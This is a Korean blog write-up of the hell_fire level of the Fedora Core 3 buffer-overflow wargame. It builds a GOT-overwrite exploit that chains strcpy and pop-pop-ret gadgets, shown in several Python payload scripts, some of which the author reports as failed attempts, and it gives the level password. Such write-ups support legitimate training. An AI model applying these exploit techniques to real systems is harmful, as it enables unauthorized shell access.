CafeM0ca

[FC3]level3 hell_fire 본문

Hacking/LOB(Fedora3)

[FC3]level3 hell_fire

M0ca 2018. 1. 29. 11:07
반응형

ID:hell_fire

PW:sign me up

ret썰매가 불가능하고 argv[1]의 길이만큼만 냅두고 스택을 초기화해버린다. 모카는 bss영역에 execv인자들을 구성해줄꺼다.


bss영역 0x80498b0 //bss(block started by symbol)영역은 초기화되지 않은 전역 데이터들이 있다.



buffer는 ebp-264부분이다. 

strcpy: 0x8048494


bss영역이 텅텅 비어있다. /bin/sh 바이너리들(/,b,i,n,/,s,h)을 1바이트씩 덮어씌워줄꺼다.

0x80498b0에는 덮어씌운 execv의 주소를, 0x80498b0+8에는 /, 0x80498b0+9에는 b, 0x80498b0+10에는 i ...이런식으로 구성해줄거다.


인자를 찾자.

memcpy got: 0x8049888


ppr: 0x804854c  //ppr은 함수의 인자를 스택에서 정리해줄때 사용한다. 인자가 3개필요하면 pop pop pop ret이고 인자가 2개필요하면 pop pop ret이다. 문제에서 ppr을 줬으니 인자가 2개필요한 strcpy를 쓰라는 말을 간접적으로 알 수 있다.


execv: 0x7a55d0 //execv+3을 쓰게되면 인자 참조를 엉뚱한곳으로 한다.


/ : 0x8048114

b: 0x8048117 //   '/'가 0x8048114고 'l'이 0x8048115고 'i'가 0x8048116이다.

i: 0x8048116

n: 0x8048318

s: 0x8048298

h: 0x804836c

NULL: 0x8048288    //  .이 NULL이다.


필요한 가젯은 모두 찾았다.

"A"*268+strcpy+ppr+(bss+0)+'/'+strcpy+ppr+(bss+1)+'b'+strcpy+ppr+(bss+2)+'i'+strcpy+ppr+(bss+3)+'n'+strcpy+ppr+(bss+4)+'/'+strcpy+ppr+(bss+5)+'s'+strcpy+ppr+(bss+6)+'h'+strcpy+ppr+(bss+7)+NULL+strcpy+ppr+(bss-8)+memcpy's got+strcpy+(bss-8)+memcpy's got+execv


엄청 길고 반복작업이 많으니 파이썬 스크립트를 사용하는게 현명하다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
import os
from struct import pack,unpack
= lambda x:pack("<L",x)
strcpy = p(0x8048494)
bss0 = p(0x80498c0)
bss8 = p(0x80498c8)
bss9 = p(0x80498c9)
bss10 = p(0x80498ca)
bss11 = p(0x80498cb)
bss12 = p(0x80498cc)
bss13 = p(0x80498cd)
bss14 = p(0x80498ce)
bss15 = p(0x80498cf)
 
memcpy_got = p(0x8049888)
ppr = p(0x804854c)
execv = p(0x7a55d0)
slash = p(0x8048114)
= p(0x8048117
= p(0x8048116)
= p(0x8048318)
= p(0x8048298)
= p(0x804836c)
null = p(0x80486c4)
 
payload = ""
payload += "A"*268
payload += strcpy
payload += ppr
payload += bss8
payload += slash
 
payload += strcpy
payload += ppr
payload += bss9
payload += b
 
payload += strcpy
payload += ppr
payload += bss10
payload += i
 
payload += strcpy
payload += ppr
payload += bss11
payload += n
 
payload += strcpy
payload += ppr
payload += bss12
payload += slash
 
payload += strcpy
payload += ppr
payload += bss13
payload += s
 
payload += strcpy
payload += ppr
payload += bss14
payload += h
 
payload += strcpy
payload += ppr
payload += bss15
payload += null
 
 
payload += strcpy
payload += ppr
payload += bss0
payload += memcpy_got
 
payload += strcpy
payload += bss0
payload += memcpy_got
payload += execv
payload += "\x00"
 
print payload
 
cs


gdb에서 r `python ./filename.py` 하면 잘 작동한다.

스택에 인자가 잘 박혀있다. 그런데 세그폴트..

원인은 strcpy내부에 ppr이 있었다. 

분명 strcpy1 ppr1 dest1 src1 strcpy2 ppr2 dest2 src2 ...인데 strcpy1내부 ppr로인해 ppr1이 실행되기전 스택을 보면

ppr1 strcpy2 ppr2 dest2 src2가 되버린다. ppr1이 실행된후 스택은 strcpy2 src2가 됀다. 


ppr함수를 빼고 다시 작성해보자.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
import os
from struct import pack,unpack
= lambda x:pack("<L",x)
strcpy = p(0x8048494)
bss0 = p(0x80498c0)
bss8 = p(0x80498c8)
bss9 = p(0x80498c9)
bss10 = p(0x80498ca)
bss11 = p(0x80498cb)
bss12 = p(0x80498cc)
bss13 = p(0x80498cd)
bss14 = p(0x80498ce)
bss15 = p(0x80498cf)
 
memcpy_got = p(0x8049888)
ret = p(0x8048551)  #here is changed
execv = p(0x7a55d0)
slash = p(0x8048114)
= p(0x8048117
= p(0x8048116)
= p(0x8048318)
= p(0x8048298)
= p(0x804836c)
null = p(0x80486c4)
 
payload = ""
payload += "A"*268
payload += strcpy
payload += ret    #here is changed
payload += bss8
payload += slash
 
payload += strcpy
payload += ret    #here is changed
payload += bss9
payload += b
 
payload += strcpy
payload += ret    #here is changed
payload += bss10
payload += i
 
payload += strcpy
payload += ret    #here is changed
payload += bss11
payload += n
 
payload += strcpy
payload += ret    #here is changed
payload += bss12
payload += slash
 
payload += strcpy
payload += ret    #here is changed
payload += bss13
payload += s
 
payload += strcpy
payload += ret    #here is changed
payload += bss14
payload += h
 
payload += strcpy
payload += ret    #here is changed
payload += bss15
payload += null
 
 
payload += strcpy 
payload += ret    #here is changed
payload += bss0
payload += memcpy_got
 
payload += strcpy
payload += bss0
payload += memcpy_got
payload += execv
payload += "\x00"
 
print payload
 
cs
s

어째서인지 또 세그폴트가 떠서 봤더니 strcpy가 ppr하기전 스택을 보자. esp에 요상한 값들이 있다. 0x80498c8(bss),0x8048114('/')가 pop pop되길 기대했는데 0xfef45204와 0xfef4518d가 pop pop된다. 따라서 strcpy의 내장 ppr은 인자를 ppr하지않는다. 즉 ppr함수를 사용하긴 해야한다는 말이다.


함수를 자세히 열어보니 프롤로그과정이 있었다. 처음에 ppr+0 부분을 썼는데 이번에는 프롤로그 과정을 없애고 ppr+3 부분을 써보겠다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
import os
from struct import pack,unpack
= lambda x:pack("<L",x)
strcpy = p(0x8048494)
bss0 = p(0x80498c0)
bss8 = p(0x80498c8)
bss9 = p(0x80498c9)
bss10 = p(0x80498ca)
bss11 = p(0x80498cb)
bss12 = p(0x80498cc)
bss13 = p(0x80498cd)
bss14 = p(0x80498ce)
bss15 = p(0x80498cf)
 
memcpy_got = p(0x8049888)
ppr = p(0x804854f)  #here is one more changed
execv = p(0x7a55d0)
slash = p(0x8048114)
= p(0x8048117
= p(0x8048116)
= p(0x8048318)
= p(0x8048298)
= p(0x804836c)
null = p(0x80486c4)
 
payload = ""
payload += "A"*268
payload += strcpy
payload += ppr    #here is one more changed
payload += bss8
payload += slash
 
payload += strcpy
payload += ppr    #here is one more changed
payload += bss9
payload += b
 
payload += strcpy
payload += ppr    #here is one more changed
payload += bss10
payload += i
 
payload += strcpy
payload += ppr    #here is one more changed
payload += bss11
payload += n
 
payload += strcpy
payload += ppr    #here is one more changed
payload += bss12
payload += slash
 
payload += strcpy
payload += ppr    #here is one more changed
payload += bss13
payload += s
 
payload += strcpy
payload += ppr    #here is one more changed
payload += bss14
payload += h
 
payload += strcpy
payload += ppr    #here is one more changed
payload += bss15
payload += null
 
 
payload += strcpy 
payload += ppr    #here is one more changed
payload += bss0
payload += memcpy_got
 
payload += strcpy
payload += bss0
payload += memcpy_got
payload += execv
payload += "\x00"
 
print payload
 
 
cs


strcpy1실행전 0x8048494(strcpy1) | 0x804854f(ppr) | 0x80498c8(bss+8) | 0x8048114('/')

strcpy1실행후 ppr실행전 esp 0x80498c8(bss+8) | 0x8048114('/')

성공적으로 잘 되는가 싶더니.. 이번에는 execv를 memcpy를 got로 복사하는 과정에서 문제가 생겼다. 

0x53e58955가 뭔가 했더니..역시나 execv의 값이 복사됐다. 아무래도 execv도 d0, 55, 7a로 복사해줘야할 듯 하다.


그래도 불행중 다행은 /bin/sh가 제대로 들어갔다. 이제 execv만 제대로 들어가면 됀다!

0x7854c0은 memcpy다.


0x7a: 0x8049896

0x55: 0x80483cc

0xd0: 0x80484e4


완벽하게 다 올라갔다... 설마 /bin/sh가 안되는 건가?... 그러면 /bin/my-pass로 해야하는건가..

아!.. 인자로 값을주면 안되고 주소를 줘야한다..다시 해보자. 누군가 여기까지 따라했다면 헛고생한거다. 뒤로가기를 누르던가 마저 읽던가..


무언가 잘못되었음이 확실하다.

갈아엎고. 다시해야겠다.


자.. 다시 생각해보자. 너무 의식의 흐름대로 풀었다.

got overwrite니까 memcpy의 got를 execv로 덮고. bss에 /bin/sh를 구성해주고 memcpy의 got를 호출하면 될꺼다.


"A"*268+strcpt+ppr+memcpy_got+execv+strcpy+bss+/bin/sh+memcpy_got+ret+&(/bin/sh)

아스키아머로 복사가 끊기지 않기 위해 살짝 고쳐보자


일단 execv를 띄우자

좋아. execv가 정산적으로 실행된다. memcpy's got에 7a 55 d0을 strcpy로 복사해주고 memcpy를 실행시키니 됀다.

이제 /bin/sh를 bss영역에 올려주고 bss의 주소를 memcpy(execv)의 인자로 주면 쉘이 실행 될 거다.

execv어딘가에 있는 /bin/sh를 찾자

/bin/sh: 0x830fa0

낚였다.. 

생각해보니까 로컬이니 심볼릭링크 쓸 수 있다.  


적당히 심볼릭링크할꺼 발견 0x80497d4 


payload 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import os
from struct import pack,unpack
= lambda x:pack("<L",x)
strcpy = p(0x8048494)
Null = p(0x80498f0)
memcpy = p(0x8048434)
memcpy_got1 = p(0x8049888)
memcpy_got2 = p(0x8049889)
memcpy_got3 = p(0x804988a)
memcpy_got4 = p(0x804988b)
ppr = p(0x804854f)  
execv3 = p(0x804989e#7a
execv2 = p(0x80486ec#55
execv1 = p(0x80484e4#d0
symbol = p(0x80497d4)
 
payload = ""
payload += "A"*268
#memcpy_got overwrited execv 0x7a55d0
payload += strcpy
payload += ppr
payload += memcpy_got1
payload += execv1
 
payload += strcpy
payload += ppr
payload += memcpy_got2
payload += execv2
 
payload += strcpy
payload += ppr
payload += memcpy_got3
payload += execv3
 
payload += strcpy
payload += ppr
payload += memcpy_got4
payload += Null
 
payload += memcpy
payload += Null
payload += symbol
 
print payload
 
 
cs

exploit 가즈아ㅏㅏㅏㅏㅏㅏㅏ


푸는데 꼬박 1일(25시간)걸렸다.

반응형

'Hacking > LOB(Fedora3)' 카테고리의 다른 글

[FC3]level5 dark_stone  (0) 2018.02.01
[FC3]level4 evil_wizard  (0) 2018.01.31
[FC3]level2 dark_eyes  (0) 2018.01.27
[FC3]level1 iron_golem  (0) 2018.01.26
[FC3]level0 gate  (0) 2018.01.26
Comments